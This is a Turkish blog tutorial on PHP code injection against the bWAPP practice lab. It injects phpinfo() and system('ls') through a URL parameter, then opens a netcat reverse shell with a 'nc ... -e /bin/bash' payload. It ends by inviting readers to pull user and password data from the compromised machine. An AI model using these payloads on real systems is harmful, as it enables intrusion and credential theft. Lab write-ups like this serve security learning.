PHP CODE INJECTION

Ahmet PAYASLIOĞLU
4 min readAug 15, 2020

Değerli okuyucular merhaba. Bu yazımda sizlere Php Code Injection yoluyla karşı sisteme nasıl sızabileceğimizi anlatacağım. Bu yazıda bWAPP portalı üzerinden test yapacağız. Eğer bu tarz web açıklıklarını test etmek istiyorsanız güzel bir platform. bWAPP portalının nasıl kurulacağını bilmiyorsanız bu yazının altında detaylı kurulum videosunun linkini bırakacağım. Şimdi teste başlayalım .Öncelikle sağ üst köşeden Php Code Injection ‘u seçiyoruz.

Sonra websitesini incelediğimde Url kısmındaki eşittirden sonraki gelen değerin , aşağıya olduğu gibi yazıldığını farkettim. Fotoğrafta gördüğünüz gibi Url kısmında eşittirden sonra test yazıyor ve aşağıya baktığımızda tekrardan test değerini döndürdüğünü görüyoruz. Başka şeyler yazarak test yapacağım.

Denemek amaçlı eşittirden sonraki metni Ahmet diye değiştirdim ve gördüğünüz üzere aşağıda Ahmet yazdı. Eşittirden sonra ne yazarsam yazayım bana olduğu gibi dönderdiğini farkettim.

Madem eşittirden sonra girdiğimiz her parametreyi dönderebiliyoruz o zaman bunu biraz manipüle edelim…

Eşittirden sonra phpinfo() komutunu yazarak bu sayfaya ait bütün php bilgilerini görüntülemiş olduk.

Sistem hakkında biraz daha bilgi edinmeye devam edelim. system(‘ls’) komutunu girerek sistemin içerisindeki dosyaları görüntülemek istiyorum. ls komutu bildiğiniz üzere bir dizindeki dosyaları sıralamaya yarıyor. Bu komutu yazdıktan sonra karşıma sistemle alakalı kritik dosya isimlerini görüntülemiş oldum.

Evet bunlarla yetinmeyip sistem hakkında bilgi kazanmaya devam ediyoruz. Madem Url kısmındaki eşittirden sonra yazdığım her parametreyi kullanabiliyorsam , o zaman ben bu sisteme uzaktan erişim sağlamak istiyorum. Bunun için Netcat aracını kullanacağım.

NETCAT

Netcat hakkında kısa bir bilgi vermek gerekirse Netcat TCP/IP üzerinden veri gönderme veya almaya yarayan açık kaynak kodlu bir araçtır. Netcat aracı ile herhangi bir portu dinleyebilir , port tarama , bağlantı oluşturma, shell oturumu , dosya transferi gibi bir çok şey yapılabilir. Ben bu dökümanda sizlere PHP INJECTION yoluyla nasıl reverse shell alınır onu göstereceğim. Şimdi komut satırımızı açıp nc –lvp 4757 yazarak dinlemeye başlıyoruz. Buradaki 4757 değeri bir port numarasıdır. Yaygın kullanılan bazı portlar dışında istediğiniz port değerini girip dinlemeye başlayabilirsiniz. Kullanımda olan portları seçmeyiniz(Örnek 80 ve 443 gibi).

Evet şimdi dinlemeye başladık. Peki Natcat bağlantısını nasıl yapacağız ? Zafiyetli websitemize gelerek url kısmına eşittirden sonra birtakım natcat komutlarını yazıyoruz.

system(‘nc 192.168.24.129 4757 –e /bin/bash’) komutunu eşittirden sonraki kısma yazıyoruz. Komutu sizlere açıklayacak olursam burdaki ip değeri benim kendi ip adresim. İpconfig komutu ile kendi ip adresinizi öğrenebilirsiniz. 4757 portu ise az önce Natcat aracı ile dinlemeye başladığımız port numarası. Burada belirtilmesi gereken diğer bir konu da sisteminizde hangi bash yazılımını kullandığımız. O yüzden /bin/bash komutunuda ekliyoruz. Sonrasında enter tuşuna basarak Natcat aracıyla sisteme bağlanmış oluyoruz. Bağlantımızın kurulduğunu anlamak için Natcat aracına girdiğimizde connet bağlantısının gerçekleştiğini gördüm.

Şimdi bağlantımızın gerçekleştiğinden emin olmak için bir takım komutlar yazıyorum. Pwd komut ile hangi dizinde olduğumu , whoami komutu ile ben kimim diye soruyorum ve id komutu ile kullanıcı kodunu bağlı olduğu grupların kodunu gösteriyorum.

ls komutu ile bulunduğum dizinde bütün dosyaları görüntüleyebilirim. Cd .. komutu ile bir önceki dizine giderek içerisindeki dosyaları görüntüleyebilirim.

Böylece karşı makinaya sızmış olduk. Şimdi istediğiniz dizindeki istediğiniz bilgileri çekerek karşı sistem ile ilgili bütün bilgileri çekebilirsiniz. User bilgileri veya password bilgileri olabilir , bu siteye ait her şeyi çekebilirsiniz. Gerisini sizlere bırakıyorum 🙂 Şuan tamamen PHP INJECTION yoluyla karşı makinaya sızmış olduk.

--

--